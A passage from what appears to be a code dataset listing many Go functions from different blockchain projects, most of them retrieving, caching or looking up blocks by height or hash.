height); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar b *wire.MsgBlock\n\tif b, err = s.getBlock(ctx, bh); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn bh, b, nil\n}", "func (sbc *SyncBlockChain) GetBlock(height int32, hash string) *Block {\n\tblocksAtHeight := sbc.Get(height)\n\tsbc.Mux.Lock()\n\tdefer sbc.Mux.Unlock()\n\tif blocksAtHeight != nil {\n\t\tfor _, block := range blocksAtHeight {\n\t\t\tif block.Header.Hash == hash {\n\t\t\t\treturn &block\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (b *Backend) GetBlockByHeight(\n\tctx context.Context,\n\theight uint64,\n) (*flowgo.Block, error) {\n\tblock, err := b.emulator.GetBlockByHeight(height)\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\tblockID := block.ID()\n\n\tb.logger.WithFields(logrus.Fields{\n\t\t\"blockHeight\": block.Header.Height,\n\t\t\"blockID\": hex.EncodeToString(blockID[:]),\n\t}).Debug(\"🎁 GetBlockByHeight called\")\n\n\treturn block, nil\n}", "func getBlockToFetch(max_height uint32, cnt_in_progress, avg_block_size uint) (lowest_found *OneBlockToGet) {\r\n\tfor _, v := range BlocksToGet {\r\n\t\tif v.InProgress == cnt_in_progress && v.Block.Height <= max_height &&\r\n\t\t\t(lowest_found == nil || v.Block.Height < lowest_found.Block.Height) {\r\n\t\t\tlowest_found = v\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "func (s Store) FindBlockByHeight (Height uint64) (*types.FullSignedBlock, error) {\r\n\t// Open badger\r\n\tstor, err := badger.Open(badger.DefaultOptions(s.StorFileLocation))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tdefer stor.Close()\r\n\r\n\tvar block types.FullSignedBlock\r\n\terr = stor.Update(func(txn *badger.Txn) error {\r\n\t\tbytes, err := readUIntIndex (txn, Height, HeightKeyPrefix)\r\n\t\tif err != nil{\r\n\t\t\treturn err\r\n\t\t}\r\n\t\terr = json.Unmarshal(bytes, &block)\r\n\r\n\t\treturn err\r\n\t})\r\n\r\n\treturn &block, err\r\n}", "func (bc *Blockchain) GetBlockByHeight(height uint32) (*block.Block, error) {\n\treturn bc.r.Block.GetByHeight(height)\n}", "func GetBlockByHeight(height int, file *os.File, db *sql.DB) ([]byte, error) {\n\tfile.Seek(0, io.SeekStart) // reset seek pointer\n\n\tvar blockPos int\n\tvar blockSize int\n\t// only need the height, position and size of the block\n\trows, err := db.Query(sqlstatements.GET_HEIGHT_POSITION_SIZE_FROM_METADATA)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Failed to create rows to iterate database to find height, position, and size of block\")\n\t}\n\tvar ht int\n\tvar pos int\n\tvar size int\n\tfor rows.Next() {\n\t\trows.Scan(&ht, &pos, &size)\n\t\tif ht == height {\n\t\t\t// save the wanted blocks size and position\n\t\t\tblockSize = size\n\t\t\tblockPos = pos\n\t\t}\n\t}\n\n\t// goes to the positition of the block\n\t_, err = file.Seek(int64(blockPos)+4, 0)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Failed to seek up to given block position in file\")\n\t}\n\n\t// store the bytes from the file\n\tbl := make([]byte, blockSize)\n\t_, err = io.ReadAtLeast(file, bl, blockSize)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Unable to read from blocks position to it's end: \" + err.Error())\n\t}\n\n\treturn bl, nil\n}", "func (s *State) blockAtHeight(height BlockHeight) (b Block, err error) {\n\tif bn, ok := s.blockMap[s.currentPath[height]]; ok {\n\t\tb = bn.Block\n\t\treturn\n\t}\n\terr = fmt.Errorf(\"no block at height %v found.\", height)\n\treturn\n}", "func (blockchain *BlockChain) GetBlock(height int32, hash string) (block1.Block, bool) {\n\tblockEmpty := block1.Block{}\n\tif height <= blockchain.Length {\n\t\tblocks, _ := blockchain.Get(height)\n\t\tfor _, block := range blocks {\n\t\t\tif block.Header.Hash == hash {\n\t\t\t\treturn block, true\n\t\t\t}\n\t\t}\n\t}\n\treturn blockEmpty, false\n}", "func (c *Client) GetBlockAt(height uint64) (block *rpctypes.ResultBlock, err error) {\n\tblock = new(rpctypes.ResultBlock)\n\tvar url string\n\tif height == 0 {\n\t\turl = c.URL(\"block/current\")\n\t} else {\n\t\turl = c.URL(\"block/height/%d\", height)\n\t}\n\terr = c.get(block, url)\n\terr = errors.Wrap(err, \"getting block by height\")\n\treturn\n}", "func (r *BTCRPC) GetBlockByHeight(height uint64) ([]byte, error) {\n\tvar (\n\t\tblockHash string\n\t\terr error\n\t)\n\n\terr = r.Client.Call(\"getblockhash\", jsonrpc.Params{height}, &blockHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn r.GetBlockByHash(blockHash)\n}", "func (c cacheProvider) GetByHeight(h int) (fc FullCommit, err error) {\n\tfor _, p := range c.Providers {\n\t\tvar tfc FullCommit\n\t\ttfc, err = p.GetByHeight(h)\n\t\tif err == nil {\n\t\t\tif tfc.Height() > fc.Height() {\n\t\t\t\tfc = tfc\n\t\t\t}\n\t\t\tif tfc.Height() == h {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\t// even if the last one had an error, if any was a match, this is good\n\tif fc.Height() > 0 {\n\t\terr = nil\n\t}\n\treturn fc, err\n}", "func (b *Backend) GetLatestBlock(ctx context.Context, isSealed bool) (*flowgo.Block, error) {\n\tblock, err := b.emulator.GetLatestBlock()\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\tblockID := block.ID()\n\n\tb.logger.WithFields(logrus.Fields{\n\t\t\"blockHeight\": block.Header.Height,\n\t\t\"blockID\": hex.EncodeToString(blockID[:]),\n\t}).Debug(\"🎁 GetLatestBlock called\")\n\n\treturn block, nil\n}", "func (db *DBlock) Get(c *Client) error {\n\tif db.IsPopulated() {\n\t\treturn nil\n\t}\n\n\tresult := struct{ DBlock *DBlock }{DBlock: db}\n\tif err := c.FactomdRequest(\"dblock-by-height\", db, &result); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (d *AddressCacheItem) BlockHeight() int64 {\n\td.mtx.RLock()\n\tdefer d.mtx.RUnlock()\n\treturn d.height\n}", "func (dao *blockDAO) getBlockchainHeight() (uint64, error) {\n\tvalue, err := dao.kvstore.Get(blockNS, topHeightKey)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"failed to get top height\")\n\t}\n\tif len(value) == 0 {\n\t\treturn 0, errors.Wrap(db.ErrNotExist, \"blockchain height missing\")\n\t}\n\treturn enc.MachineEndian.Uint64(value), nil\n}", "func (rpc BitcoinRPC) GetBlockByHeight(h uint64) ([]byte, error) {\n\tvar (\n\t\tblockHash string\n\t\tblockData []byte\n\t\terr error\n\t)\n\tblockHash, err = rpc.GetBlockHash(h)\n\tif err != nil {\n\t\treturn blockData, err\n\t}\n\tblockData, err = rpc.GetBlockByHash(blockHash)\n\treturn blockData, err\n}", "func (c *BlockCache) GetFirstHeight() int {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\treturn c.firstBlock\n}", "func (c *BlockCache) readBlock(height int) *walletrpc.CompactBlock {\n\tblockLen := c.blockLength(height)\n\tb := make([]byte, blockLen+8)\n\toffset := c.starts[height-c.firstBlock]\n\tn, err := c.blocksFile.ReadAt(b, offset)\n\tif err != nil || n != len(b) {\n\t\tLog.Warning(\"blocks read offset: \", offset, \" failed: \", n, err)\n\t\treturn nil\n\t}\n\tdiskcs := b[:8]\n\tb = b[8 : blockLen+8]\n\tif !bytes.Equal(checksum(height, b), diskcs) {\n\t\tLog.Warning(\"bad block checksum at height: \", height, \" offset: \", offset)\n\t\treturn nil\n\t}\n\tblock := &walletrpc.CompactBlock{}\n\terr = proto.Unmarshal(b, block)\n\tif err != nil {\n\t\t// Could be file corruption.\n\t\tLog.Warning(\"blocks unmarshal at offset: \", offset, \" failed: \", err)\n\t\treturn nil\n\t}\n\tif int(block.Height) != height {\n\t\t// Could be file corruption.\n\t\tLog.Warning(\"block unexpected height at height \", height, \" offset: \", offset)\n\t\treturn nil\n\t}\n\treturn block\n}", "func (dao *blockDAO) getBlockHash(height uint64) (hash.Hash256, error) {\n\tif height == 0 {\n\t\treturn hash.ZeroHash256, nil\n\t}\n\tkey := append(heightPrefix, byteutil.Uint64ToBytes(height)...)\n\tvalue, err := dao.kvstore.Get(blockHashHeightMappingNS, key)\n\thash := hash.ZeroHash256\n\tif err != nil {\n\t\treturn hash, errors.Wrap(err, \"failed to get block hash\")\n\t}\n\tif len(hash) != len(value) {\n\t\treturn hash, errors.Wrap(err, \"blockhash is broken\")\n\t}\n\tcopy(hash[:], value)\n\treturn hash, nil\n}", "func (c *BlockCache) GetLatestHeight() int {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\tif c.firstBlock == c.nextBlock {\n\t\treturn -1\n\t}\n\treturn c.nextBlock - 1\n}", "func (c *BlockCache) GetNextHeight() int {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\treturn c.nextBlock\n}", "func (c *DaemonClient) GetBlock(height uint, hash string) (Block, error) {\n\tvar b Block\n\treq := struct {\n\t\theight uint `json:\"height, omitempty\"`\n\t\thash string `json:\"hash, omitempty\"`\n\t}{\n\t\theight,\n\t\thash,\n\t}\n\tif err := call(c.endpoint, \"getblock\", req, &b); err != nil {\n\t\treturn b, err\n\t}\n\treturn b, nil\n}", "func (c *Cache) getBlock(aoffset int64, locked bool) *cacheBlock {\n\tif !locked {\n\t\tc.mu.Lock()\n\t\tdefer c.mu.Unlock()\n\t}\n\n\tif blk, ok := c.blocks[aoffset]; ok {\n\t\tc.lru.MoveToFront(blk.lru)\n\t\treturn blk\n\t}\n\n\treturn nil\n}", "func (dao *blockDAO) getBlockHeight(hash hash.Hash256) (uint64, error) {\n\tkey := append(hashPrefix, hash[:]...)\n\tvalue, err := dao.kvstore.Get(blockHashHeightMappingNS, key)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"failed to get block height\")\n\t}\n\tif len(value) == 0 {\n\t\treturn 0, errors.Wrapf(db.ErrNotExist, \"height missing for block with hash = %x\", hash)\n\t}\n\treturn enc.MachineEndian.Uint64(value), nil\n}", "func (db *ChainDb) fetchBlockShaByHeight(height uint64) (rsha *wire.Hash, err error) {\n\tkey := makeBlockHeightKey(height)\n\n\tblkVal, err := db.stor.Get(key)\n\tif err != nil {\n\t\tlogging.CPrint(logging.TRACE, \"failed to find block on height\", logging.LogFormat{\"height\": height})\n\t\treturn // exists ???\n\t}\n\n\tvar sha wire.Hash\n\tsha.SetBytes(blkVal[0:32])\n\n\treturn &sha, nil\n}", "func (m *Indexer) LookupBlockHeightFromTime(ctx context.Context, tm time.Time) int64 {\n\tcc, err := m.getBlocks(ctx)\n\tif err != nil {\n\t\treturn 0\n\t}\n\treturn cc.GetHeight(tm)\n}", "func GetBlockByHeight(height uint32) (*types.Block, error) {\n\tfuture := DefLedgerPid.RequestFuture(&ledger.GetBlockByHeightReq{Height: height}, msgCommon.ACTOR_TIMEOUT*time.Second)\n\tresult, err := future.Result()\n\tif err != nil {\n\t\tlog.Error(errors.NewErr(\"net_server GetBlockByHeight ERROR: \"), err)\n\t\treturn nil, err\n\t}\n\tif result.(*ledger.GetBlockByHeightRsp).Block == nil {\n\t\tlog.Errorf(\"net_server Get Block error: block is nil for height: %d\", height)\n\t\treturn nil, errors.NewErr(\"net_server GetBlockByHeight error: block is nil\")\n\t}\n\n\treturn result.(*ledger.GetBlockByHeightRsp).Block, result.(*ledger.GetBlockByHeightRsp).Error\n}", "func GetValidatorBlock(cfg *config.Config, c client.Client) string {\n\tvar validatorHeight string\n\tq := client.NewQuery(\"SELECT last(height) FROM heimdall_current_block_height\", cfg.InfluxDB.Database, \"\")\n\tif response, err := c.Query(q); err == nil && response.Error() == nil {\n\t\tfor _, r := range response.Results {\n\t\t\tif len(r.Series) != 0 {\n\t\t\t\tfor idx, col := range r.Series[0].Columns {\n\t\t\t\t\tif col == \"last\" {\n\t\t\t\t\t\theightValue := r.Series[0].Values[0][idx]\n\t\t\t\t\t\tvalidatorHeight = fmt.Sprintf(\"%v\", heightValue)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn validatorHeight\n}", "func (lc *localChain) FindHeight(digest [32]uint8) (*big.Int, error) {\n\tpanic(\"not implemented yet\")\n}", "func (db *StakeDatabase) block(ind int64) (*dcrutil.Block, bool) {\n\tblock, ok := db.BlockCached(ind)\n\tif !ok {\n\t\tvar err error\n\t\tblock, err = getBlockByHeight(db.NodeClient, ind) // rpcutils.GetBlock(ind, db.NodeClient)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\treturn nil, false\n\t\t}\n\t}\n\treturn block, ok\n}", "func (m *Indexer) LookupBlockTime(ctx context.Context, height int64) time.Time {\n\tcc, err := m.getBlocks(ctx)\n\tif err != nil {\n\t\treturn time.Time{}\n\t}\n\tl := int64(cc.Len())\n\tif height < l {\n\t\treturn cc.GetTime(height)\n\t}\n\tlast := cc.GetTime(l - 1)\n\tp := m.reg.GetParamsLatest()\n\treturn last.Add(time.Duration(height-l+1) * p.BlockTime())\n}", "func GetYoungestBlock(file *os.File, db *sql.DB) (block.Block, error) {\n\t// create rows to find blocks' height from metadata\n\trows, err := db.Query(sqlstatements.GET_HEIGHT_FROM_METADATA)\n\tif err != nil {\n\t\treturn block.Block{}, errors.New(\"Failed to create rows to find height from metadata\")\n\t}\n\tdefer rows.Close()\n\n\tif !rows.Next() {\n\t\t// if there are no rows in the table, return error\n\t\treturn block.Block{}, errors.New(\"Empty blockchain\")\n\t}\n\n\t// find the largest height in the table\n\tvar maxBlockHeight int\n\trows.Scan(&maxBlockHeight)\n\tvar blockHeight int\n\tfor rows.Next() {\n\t\trows.Scan(&blockHeight)\n\t\tif blockHeight > maxBlockHeight {\n\t\t\tmaxBlockHeight = blockHeight\n\t\t}\n\t}\n\n\t// get the block with the largest height\n\tyoungestBlock, err := GetBlockByHeight(maxBlockHeight, file, db)\n\tif err != nil {\n\t\treturn block.Block{}, err\n\t}\n\treturn block.Deserialize(youngestBlock), nil\n}", "func (s *Server) getBlockHash(ctx context.Context, height int64) (*chainhash.Hash, error) {\n\tvar bh chainhash.Hash\n\terr := s.db.View(ctx, func(dbtx backenddb.ReadTx) error {\n\t\tvar err error\n\t\tbh, err = s.db.ProcessedBlockHash(dbtx, height)\n\t\treturn err\n\t})\n\n\tswitch {\n\tcase errors.Is(err, backenddb.ErrBlockHeightNotFound):\n\t\treturn nil, types.ErrBlockIndexAfterTip\n\tcase err != nil:\n\t\treturn nil, err\n\tdefault:\n\t\treturn &bh, nil\n\t}\n}", "func (s *Server) getBlock(ctx context.Context, bh *chainhash.Hash) (*wire.MsgBlock, error) {\n\tbl, ok := s.cacheBlocks.Lookup(*bh)\n\tif ok {\n\t\treturn bl.(*wire.MsgBlock), nil\n\t}\n\n\tb, err := s.c.GetBlock(ctx, bh)\n\tif err == nil {\n\t\ts.cacheBlocks.Add(*bh, b)\n\t\treturn b, err\n\t}\n\n\tif rpcerr, ok := err.(*dcrjson.RPCError); ok && rpcerr.Code == dcrjson.ErrRPCBlockNotFound {\n\t\treturn nil, types.ErrBlockNotFound\n\t}\n\n\t// TODO: types.DcrdError()\n\treturn nil, err\n}", "func (cache *BlockCache) Get(blockID BlockID) (string, error) {\n\tcache.mu.Lock()\n\tdefer cache.mu.Unlock()\n\tif entry, ok := cache.entries[blockID]; ok {\n\t\tcache.callCount++\n\t\tentry.lastUsed = cache.callCount\n\t\treturn entry.block, nil\n\t}\n\treturn \"\", errors.New(\"Block \" + string(blockID) + \" is not cached\")\n}", "func (query *Query) GetBlock(ctx context.Context, height int64) (*model.Block, error) {\n\tresp, err := query.transport.QueryBlock(ctx, height)\n\tif err != nil {\n\t\treturn nil, errors.QueryFailf(\"GetBlock err\").AddCause(err)\n\t}\n\n\tblock := new(model.Block)\n\tblock.Header = resp.Block.Header\n\tblock.Evidence = resp.Block.Evidence\n\tblock.LastCommit = resp.Block.LastCommit\n\tblock.Data = new(model.Data)\n\tblock.Data.Txs = []model.Transaction{}\n\tfor _, txBytes := range resp.Block.Data.Txs {\n\t\tvar tx model.Transaction\n\t\tif err := query.transport.Cdc.UnmarshalJSON(txBytes, &tx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblock.Data.Txs = append(block.Data.Txs, tx)\n\t}\n\treturn block, nil\n}", "func (s *RPCChainIO) GetBestBlock() (*chainhash.Hash, int32, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif s.chain == nil {\n\t\treturn nil, 0, ErrUnconnected\n\t}\n\thash, height, err := s.chain.GetBestBlock(context.TODO())\n\treturn hash, int32(height), err\n}", "func (l *Ledger) QueryBlockByHeight(height int64) (*pb.InternalBlock, error) {\n\tsHeight := []byte(fmt.Sprintf(\"%020d\", height))\n\tblockID, kvErr := l.heightTable.Get(sHeight)\n\tif kvErr != nil {\n\t\tif def.NormalizedKVError(kvErr) == def.ErrKVNotFound {\n\t\t\treturn nil, ErrBlockNotExist\n\t\t}\n\t\treturn nil, kvErr\n\t}\n\treturn l.QueryBlock(blockID)\n}", "func (c *Client) BlockByHeight(height int64) (Block, error) {\n\ttimeout := time.Duration(10 * time.Second)\n\tclient := http.Client{\n\t\tTimeout: timeout,\n\t}\n\n\tpayload, err := json.Marshal(map[string]int64{\"height\": height})\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\tc.URL.Path = \"/block/at/public\"\n\treq, err := c.buildReq(nil, payload, http.MethodPost)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\tdefer resp.Body.Close()\n\tbyteArray, err := ioutil.ReadAll(resp.Body)\n\tif resp.StatusCode != 200 {\n\t\terr := errors.New(string(byteArray))\n\t\treturn Block{}, err\n\t}\n\n\tvar data Block\n\tif err := json.Unmarshal(byteArray, &data); err != nil {\n\t\treturn Block{}, err\n\t}\n\treturn data, nil\n}", "func (bc *Blockchain) LatestBlock() *Block {\n\tif bc.chain == nil {\n\t\treturn nil\n\t}\n\n\tl := len(bc.chain)\n\tif l == 0 {\n\t\treturn nil\n\t}\n\n\treturn &bc.chain[l-1]\n}", "func (bc *BlockChain) GetBlock(hash common.Hash, number uint64) *types.Block {\n\t// Short circuit if the block's already in the cache, retrieve otherwise\n\tif block, ok := bc.blockCache.Get(hash); ok {\n\t\treturn block.(*types.Block)\n\t}\n\tblock := rawdb.ReadBlock(bc.db, hash, number)\n\tif block == nil {\n\t\treturn nil\n\t}\n\t// Cache the found block for next time and return\n\tbc.blockCache.Add(block.Hash(), block)\n\treturn block\n}", "func (rpc BitcoinRPC) GetFullBlockByHeight(h uint64) ([]byte, error) {\n\tvar (\n\t\tblockHash string\n\t\tblockData []byte\n\t\terr error\n\t)\n\tblockHash, err = rpc.GetBlockHash(h)\n\tif err != nil {\n\t\treturn blockData, err\n\t}\n\tblockData, err = rpc.GetFullBlockByHash(blockHash)\n\treturn blockData, err\n}", "func getBlkFromHash(hash [constants.HASHSIZE]byte) Block {\n\tvar retBlk Block\n\tsess, err := mgo.Dial(\"localhost\")\n\tcheckerror(err)\n\tdefer sess.Close()\n\thandle := sess.DB(\"Goin\").C(\"Blocks\")\n\tBlkQuery := handle.Find(bson.M{\"hash\": hash})\n\terr = BlkQuery.One(&retBlk)\n\tif err != nil {\n\t\treturn Block{}\n\t}\n\treturn retBlk\n}", "func (d Dispatcher) BlockByHeight(height int) (string, error) {\n\tb, err := d.GetBC().GetBlockByHeight(height)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tblockBytes, err := helpers.Serialize(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(blockBytes), nil\n}", "func GetBlockHashByHeight(height uint32) (common.Uint256, error) {\n\tfuture := DefLedgerPid.RequestFuture(&ledger.GetBlockHashReq{Height: height}, msgCommon.ACTOR_TIMEOUT*time.Second)\n\tresult, err := future.Result()\n\tif err != nil {\n\t\tlog.Error(errors.NewErr(\"net_server GetBlockHashByHeight ERROR: \"), err)\n\t\treturn common.Uint256{}, err\n\t}\n\treturn result.(*ledger.GetBlockHashRsp).BlockHash, result.(*ledger.GetBlockHashRsp).Error\n}", "func (pgb *ChainDB) GetHeight() (int64, error) {\n\tctx, cancel := context.WithTimeout(pgb.ctx, pgb.queryTimeout)\n\tdefer cancel()\n\theight, _, _, err := RetrieveBestBlockHeight(ctx, pgb.db)\n\t// If the blocks table is empty, set height to -1.\n\tbb := int64(height)\n\tif err == sql.ErrNoRows {\n\t\tbb = -1\n\t}\n\treturn bb, pgb.replaceCancelError(err)\n}", "func dbFetchHeightByHash(dbTx database.Tx, hash *common.Hash) (int32, error) {\n\tmeta := dbTx.Metadata()\n\thashIndex := meta.Bucket(hashIndexBucketName)\n\tserializedHeight := hashIndex.Get(hash[:])\n\tif serializedHeight == nil {\n\t\tstr := fmt.Sprintf(\"block %s is not in the main chain\", hash)\n\t\treturn 0, errNotInMainChain(str)\n\t}\n\n\treturn int32(byteOrder.Uint32(serializedHeight)), nil\n}", "func FindBlock(ctx context.Context, exec boil.ContextExecutor, height int, selectCols ...string) (*Block, error) {\n\tblockObj := &Block{}\n\n\tsel := \"*\"\n\tif len(selectCols) > 0 {\n\t\tsel = strings.Join(strmangle.IdentQuoteSlice(dialect.LQ, dialect.RQ, selectCols), \",\")\n\t}\n\tquery := fmt.Sprintf(\n\t\t\"select %s from \\\"block\\\" where \\\"height\\\"=$1\", sel,\n\t)\n\n\tq := queries.Raw(query, height)\n\n\terr := q.Bind(ctx, exec, blockObj)\n\tif err != nil {\n\t\tif errors.Cause(err) == sql.ErrNoRows {\n\t\t\treturn nil, sql.ErrNoRows\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"models: unable to select from block\")\n\t}\n\n\treturn blockObj, nil\n}", "func GetBlock(hostURL string, hostPort int, hash string) *bytes.Buffer {\n\tparams := make(map[string]interface{})\n\tparams[\"hash\"] = hash\n\treturn makePostRequest(hostURL, hostPort, \"f_block_json\", params)\n}", "func (core *coreService) BlockByHeight(height uint64) (*apitypes.BlockWithReceipts, error) {\n\treturn core.getBlockByHeight(height)\n}", "func (entry *UtxoEntry) BlockHeight() int64 {\n\treturn int64(entry.blockHeight)\n}", "func getBlockHeight (jsonByte []byte) int {\n\tblockHeightString := gjson.GetBytes(jsonByte, \"result.round_state.height/round/step\")\n\theight := strings.Split(fmt.Sprintf(\"%s\", blockHeightString), \"/\")[0] \n\ti, err := strconv.Atoi(height)\n\tif err != nil {\n \t\tlog.Fatal(err)\n\t}\n\treturn i\n}", "func (c *Cache) GetBlock(k Key) Block {\n\tidx := uint64(0)\n\tif len(c.shards) > 1 {\n\t\th := k.hashUint64()\n\t\tidx = h % uint64(len(c.shards))\n\t}\n\tshard := c.shards[idx]\n\treturn shard.GetBlock(k)\n}", "func (c *Client) GetBlockHeight(height string) (resp *Blocks, e error) {\n\tif height == \"\" {\n\t\treturn nil, c.err(ErrBEW)\n\t}\n\n\tresp = &Blocks{}\n\treturn resp, c.Do(\"/block-height/\"+height, resp, nil)\n}", "func getBlockByHash(params interface{}) (interface{}, error) {\n\tp, ok := params.(*BlockHashParams)\n\tif !ok {\n\t\treturn nil, resp.BadRequestErr\n\t}\n\tdb := db.NewDB()\n\tdefer db.Close()\n\n\t// query block info\n\trow := db.QueryRow(\"SELECT height, hash, version, time, nonce, difficulty, prev, tx_root, status, sign, hex FROM blocks WHERE hash=?\", p.Hash)\n\tblock := &resp.Block{}\n\terr := row.Scan(&block.Height, &block.Hash, &block.Version, &block.Time, &block.Nonce, &block.Difficulty, &block.Prev, &block.TxRoot, &block.Status, &block.Sign, &block.Hex)\n\tif err != nil {\n\t\treturn nil, resp.NotFoundErr\n\t}\n\n\t// query next block hash\n\trow = db.QueryRow(\"SELECT hash FROM blocks WHERE height=?\", block.Height+1)\n\tvar next string\n\trow.Scan(&next)\n\tblock.Next = next\n\n\t// query block transactions\n\trows, err := db.Query(\"SELECT tx_id, version, type FROM transactions WHERE height=?\", block.Height)\n\tif err != nil {\n\t\treturn nil, resp.InternalServerErr\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar transaction = &resp.Transaction{}\n\t\terr := rows.Scan(&transaction.TxID, &transaction.Version, &transaction.Type)\n\t\tif err != nil {\n\t\t\treturn nil, resp.InternalServerErr\n\t\t}\n\t\terr = getTx(db, transaction)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblock.Transactions = append(block.Transactions, *transaction)\n\t}\n\treturn block, nil\n}", "func (bc *Blockchain) GetBlock(hash []byte) (*Block, error) {\n\t// TODO(student)\n\treturn nil, nil\n}", "func (pgb *ChainDB) GetBlockHeight(hash string) (int64, error) {\n\tctx, cancel := context.WithTimeout(pgb.ctx, pgb.queryTimeout)\n\tdefer cancel()\n\theight, err := RetrieveBlockHeight(ctx, pgb.db, hash)\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to get block height for hash %s: %v\", hash, err)\n\t\treturn -1, pgb.replaceCancelError(err)\n\t}\n\treturn height, nil\n}", "func (bd *BlockDAG) getBlock(h *hash.Hash) IBlock {\n\tif h == nil {\n\t\treturn nil\n\t}\n\tblock, ok := bd.blocks[*h]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn block\n}", "func lastBlockHeight(db storage.Storage) uint64 {\n\thash, err := db.Get(tipKey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trawBytes, err := db.Get(hash)\n\tif err != nil {\n\t\tpanic(err) \n\t}\n\treturn block.Deserialize(rawBytes).GetHeight()\n}", "func (b *BlockChain) BlockByHeight(blockHeight int32) (*asiutil.Block, error) {\n\t// Lookup the block height in the best chain.\n\tnode := b.bestChain.NodeByHeight(blockHeight)\n\tif node == nil {\n\t\tstr := fmt.Sprintf(\"no block node at height %d exists in the main chain\", blockHeight)\n\t\treturn nil, errNotInMainChain(str)\n\t}\n\n\t// Load the block from the database and return it.\n\tvar block *asiutil.Block\n\terr := b.db.View(func(dbTx database.Tx) error {\n\t\tvar err error\n\t\tblock, err = dbFetchBlockByNode(dbTx, node)\n\t\treturn err\n\t})\n\treturn block, err\n}", "func (e *offlineExchange) GetBlock(_ context.Context, k u.Key) (*blocks.Block, error) {\n\treturn e.bs.Get(k)\n}", "func (dao *blockDAO) getBlock(hash hash.Hash256) (*block.Block, error) {\n\theader, err := dao.header(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block header %x\", hash)\n\t}\n\tbody, err := dao.body(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block body %x\", hash)\n\t}\n\tfooter, err := dao.footer(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block footer %x\", hash)\n\t}\n\treturn &block.Block{\n\t\tHeader: *header,\n\t\tBody: *body,\n\t\tFooter: *footer,\n\t}, nil\n}", "func AskForBlock(height int32, hash string) {\n\t//TODO -> TEST: Update this function to recursively ask\n\t// for all the missing predesessor blocks instead of only the parent block.\n\tPeers.Rebalance()\n\n\tfor key, _ := range Peers.Copy() {\n\t\tresp, err := http.Get(key + \"/block/\" + string(height) + \"/\" + hash)\n\t\tif err != nil {\n\t\t\tprintln(err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tif resp.StatusCode == 200 {\n\t\t\trespData, erro := ioutil.ReadAll(resp.Body)\n\t\t\tif erro != nil {\n\t\t\t\tprintln(err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\trespBlc := p2.Block{}\n\t\t\trespBlc.DecodeFromJson(string(respData))\n\t\t\tif !SBC.CheckParentHash(respBlc) {\n\t\t\t\tAskForBlock(respBlc.GetHeight()-1, respBlc.GetParentHash())\n\t\t\t}\n\t\t\tSBC.Insert(respBlc)\n\t\t\tbreak\n\t\t}\n\t}\n\n}", "func (s Store) GetBlock (hash string) (*types.FullSignedBlock, error) {\r\n\t// Open badger\r\n\tstor, err := badger.Open(badger.DefaultOptions(s.StorFileLocation))\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tdefer stor.Close()\r\n\r\n\tvar block types.FullSignedBlock\r\n\terr = stor.Update(func(txn *badger.Txn) error {\r\n\t\tbytes, err := readStringIndex (txn, hash, HashKeyPrefix)\r\n\t\tif err != nil{\r\n\t\t\treturn err\r\n\t\t}\r\n\t\terr = json.Unmarshal(bytes, &block)\r\n\r\n\t\treturn err\r\n\t})\r\n\r\n\treturn &block, err\r\n}", "func (s *State) getCachedBlock(blkID ids.ID) (snowman.Block, bool) {\n\tif blk, ok := s.verifiedBlocks[blkID]; ok {\n\t\treturn blk, true\n\t}\n\n\tif blk, ok := s.decidedBlocks.Get(blkID); ok {\n\t\treturn blk.(snowman.Block), true\n\t}\n\n\tif blk, ok := s.unverifiedBlocks.Get(blkID); ok {\n\t\treturn blk.(snowman.Block), true\n\t}\n\n\treturn nil, false\n}", "func (b *Bazooka) GetMainChainBlock(blockNum *big.Int) (header *ethTypes.Header, err error) {\n\tlatestBlock, err := b.EthClient.HeaderByNumber(context.Background(), blockNum)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn latestBlock, nil\n}", "func (b *Bazooka) GetMainChainBlock(blockNum *big.Int) (header *ethTypes.Header, err error) {\n\tlatestBlock, err := b.EthClient.HeaderByNumber(context.Background(), blockNum)\n\tif err != nil 